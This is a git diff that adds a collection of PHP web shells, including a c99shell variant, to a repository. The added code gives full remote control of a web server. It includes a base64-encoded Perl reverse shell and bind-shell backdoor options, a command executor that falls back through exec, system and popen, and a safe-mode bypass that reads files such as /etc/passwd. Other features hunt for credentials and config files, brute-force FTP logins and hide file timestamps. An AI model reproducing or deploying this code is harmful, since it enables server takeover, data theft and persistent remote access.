+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+"search"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
+"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
+"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
+"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
+"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
+"setup"=>
+"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
+"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
+"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
+"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
+"small_dir"=>
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+"small_unk"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y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P/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+"up"=>
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+"write"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+"ext_mp3"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHM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FCg8JKAi".
+"RYtMAgEAOw==",
+"ext_cmd"=>
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+"dmrYAMn1onq/YKpjvEgAADs=",
+"ext_cpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+"Eq7YrLDE7a4SADs=",
+"ext_ini"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_diz"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
+"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeUR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WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+"ext_exe"=>
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+"xhIAOw==",
+"ext_h"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+"Wq/NknbbSgAAOw==",
+"ext_hpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+"UqUagnbLdZa+YFcCADs=",
+"ext_htaccess"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_html"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL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544W9ZAW4+g26VWxF9wdowZmznlEup7".
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"ext_xml"=>
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+"IQA7"
+ );
+ //For simple size- and speed-optimization.
+ $imgequals = array(
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+ "ext_html"=>array("ext_html","ext_htm"),
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+ "ext_doc"=>array("ext_doc","ext_dot"),
+ "ext_js"=>array("ext_js","ext_vbs"),
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+ "ext_swf"=>array("ext_swf","ext_fla"),
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+ );
+ if (!$getall)
+ {
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+ if (empty($images[$img])) {$img = "small_unk";}
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+ echo base64_decode($images[$img]);
+ }
+ else
+ {
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+ natsort($images);
+ $k = array_keys($images);
+ echo "";
+ foreach ($k as $u) {echo $u.": ";}
+ echo " ";
+ }
+ exit;
+}
+if ($act == "about") {echo "Credits: Idea, leading and coding by tristram[CCTeaM]. Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM]. Thanks all who report bugs. All bugs send to tristram's ICQ #656555 . ";}
+if ($act == "backc")
+{
+ $ip = $_SERVER["REMOTE_ADDR"];
+ $msg = $_POST['backcconnmsg'];
+ $emsg = $_POST['backcconnmsge'];
+ echo("Back-Connection: Host: Port: Use: Perl C Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992 ' ");
+ echo("$msg");
+ echo("$emsg");
+}
+
+if ($act == "shbd"){
+$msg = $_POST['backcconnmsg'];
+$emsg = $_POST['backcconnmsge'];
+echo("Bind Shell Backdoor:
+Bind Port:
+
+ ");
+echo("$msg");
+echo("$emsg");
+echo(" ");
+} ?>
+
+
+
+
+
+
+
+ Php Safe-Mode Bypass (Read Files)
+
+
+
+ File:
eg: /etc/passwd
+
+
+
+
+
+
+
+
+ function rsg_read()
+ {
+ $test="";
+ $temp=tempnam($test, "cx");
+ $file=$_GET['file'];
+ $get=htmlspecialchars($file);
+ echo "
Trying To Get File
$get ";
+ if(copy("compress.zlib://".$file, $temp)){
+ $fichier = fopen($temp, "r");
+ $action = fread($fichier, filesize($temp));
+ fclose($fichier);
+ $source=htmlspecialchars($action);
+ echo "
Start $get $source Fin $get ";
+ unlink($temp);
+ } else {
+ die("
Sorry... File
+ ".htmlspecialchars($file)." dosen't exists or you don't have
+ access. ");
+ }
+ echo "";
+ }
+
+ if(isset($_GET['file']))
+{
+rsg_read();
+}
+
+ ?>
+
+
+
+ function rsg_glob()
+{
+$chemin=$_GET['directory'];
+$files = glob("$chemin*");
+echo "Trying To List Folder
$chemin ";
+foreach ($files as $filename) {
+ echo "
";
+ echo "$filename\n";
+ echo " ";
+}
+}
+
+if(isset($_GET['directory']))
+{
+rsg_glob();
+}
+
+?>
+
+
+
+
+
+
+ Php Safe-Mode Bypass (List Directories):
+
+ Dir: eg: /etc/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/c2007.php.php.txt b/xakep-shells/PHP/c2007.php.php.txt
new file mode 100644
index 0000000..75e5725
--- /dev/null
+++ b/xakep-shells/PHP/c2007.php.php.txt
@@ -0,0 +1,3299 @@
+$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
+$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
+foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
+
+$shver = "1.0 pre-release build #16"; //Current version
+//CONFIGURATION AND SETTINGS
+if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
+elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
+else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
+}
+
+$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+
+$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
+
+//Authentication
+$login = ""; //login
+//DON'T FORGOT ABOUT PASSWORD!!!
+$pass = ""; //password
+$md5_pass = ""; //md5-cryped pass. if null, md5($pass)
+
+$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
+$login_txt = "Restricted area"; //http-auth message.
+$accessdeniedmess = "c99shell v.".$shver." : access denied";
+
+$gzipencode = TRUE; //Encode with gzip?
+
+$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
+
+$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
+$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
+
+$filestealth = TRUE; //if TRUE, don't change modify- and access-time
+
+$donated_html = "C99 Modified By Psych0 ";
+/* If you publish free shell and you wish
+add link to your site or any other information,
+put here your html. */
+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+
+$curdir = "./"; //start folder
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
+$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
+
+$log_email = "user@host.tld"; //Default e-mail for sending logs
+
+$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
+$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
+
+// Registered file-types.
+// array(
+// "{action1}"=>array("ext1","ext2","ext3",...),
+// "{action2}"=>array("ext4","ext5","ext6",...),
+// ...
+// )
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+// Registered executable file-types.
+// array(
+// string "command{i}"=>array("ext1","ext2","ext3",...),
+// ...
+// )
+// {command}: %f% = filename
+$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
+if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
+$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
+if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
+$dizin = str_replace("\\\\","\\",$dizin);
+$dizinispd = htmlspecialchars($dizin);
+/*dizin*/
+$real = realpath($dizinispd);
+$path = basename ($PHP_SELF);
+function dosyayicek($link,$file)
+{
+ $fp = @fopen($link,"r");
+ while(!feof($fp))
+ {
+ $cont.= fread($fp,1024);
+ }
+ fclose($fp);
+
+ $fp2 = @fopen($file,"w");
+ fwrite($fp2,$cont);
+ fclose($fp2);
+}
+
+
+
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+
+/* Highlighted files.
+ array(
+ i=>array({regexp},{type},{opentag},{closetag},{break})
+ ...
+ )
+ string {regexp} - regular exp.
+ int {type}:
+0 - files and folders (as default),
+1 - files only, 2 - folders only
+ string {opentag} - open html-tag, e.g. "" (default)
+ string {closetag} - close html-tag, e.g. " " (default)
+ bool {break} - if TRUE and found match then break
+*/
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+
+$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
+ // array (i=>{letter} ...); string {letter} - letter of a drive
+//$safemode_diskettes = range("a","z");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+$bindport_pass = "c99"; // default password for binding
+$bindport_port = "31373"; // default port for binding
+$bc_port = "31373"; // default port for back-connect
+$datapipe_localport = "8081"; // default port for datapipe
+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
+sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
+kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
+KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+
+// Command-aliases
+if (!$win)
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "ls -la"),
+ array("find all suid files", "find / -type f -perm -04000 -ls"),
+ array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
+ array("find all sgid files", "find / -type f -perm -02000 -ls"),
+ array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
+ array("find config.inc.php files", "find / -type f -name config.inc.php"),
+ array("find config* files", "find / -type f -name \"config*\""),
+ array("find config* files in current dir", "find . -type f -name \"config*\""),
+ array("find all writable folders and files", "find / -perm -2 -ls"),
+ array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
+ array("find all service.pwd files", "find / -type f -name service.pwd"),
+ array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
+ array("find all .htpasswd files", "find / -type f -name .htpasswd"),
+ array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
+ array("find all .bash_history files", "find / -type f -name .bash_history"),
+ array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
+ array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
+ array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
+ array("list file attributes on a Linux second extended file system", "lsattr -va"),
+ array("show opened ports", "netstat -an | grep -i listen")
+ );
+}
+else
+{
+ $cmdaliases = array(
+ array("-----------------------------------------------------------", "dir"),
+ array("show opened ports", "netstat -an")
+ );
+}
+
+$sess_cookie = "c99shvars"; // Cookie-variable name
+
+$usefsbuff = TRUE; //Buffer-function
+$copy_unset = FALSE; //Remove copied files from buffer after pasting
+
+//Quick launch
+$quicklaunch = array(
+ array(" ",$surl),
+ array(" ","#\" onclick=\"history.back(1)"),
+ array(" ","#\" onclick=\"history.go(1)"),
+ array(" ",$surl."act=ls&d=%upd&sort=%sort"),
+ array(" ",""),
+ array(" ",$surl."act=search&d=%d"),
+ array(" ",$surl."act=fsbuff&d=%d"),
+ array("Encoder ",$surl."act=encoder&d=%d"),
+ array("Tools ",$surl."act=tools&d=%d"),
+ array("Proc. ",$surl."act=processes&d=%d"),
+ array("FTP brute ",$surl."act=ftpquickbrute&d=%d"),
+ array("Sec. ",$surl."act=security&d=%d"),
+ array("SQL ",$surl."act=sql&d=%d"),
+ array("PHP-code ",$surl."act=eval&d=%d"),
+ array("Update ",$surl."act=update&d=%d"),
+ array("Feedback ",$surl."act=feedback&d=%d"),
+ array("Self remove ",$surl."act=selfremove"),
+ array("Logout ","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or err(0);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function err($n,$txt='')
+{
+echo '';
+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
+if(!empty($txt)) { echo " $txt"; }
+echo '
';
+return null;
+}
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99shell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img")
+{
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
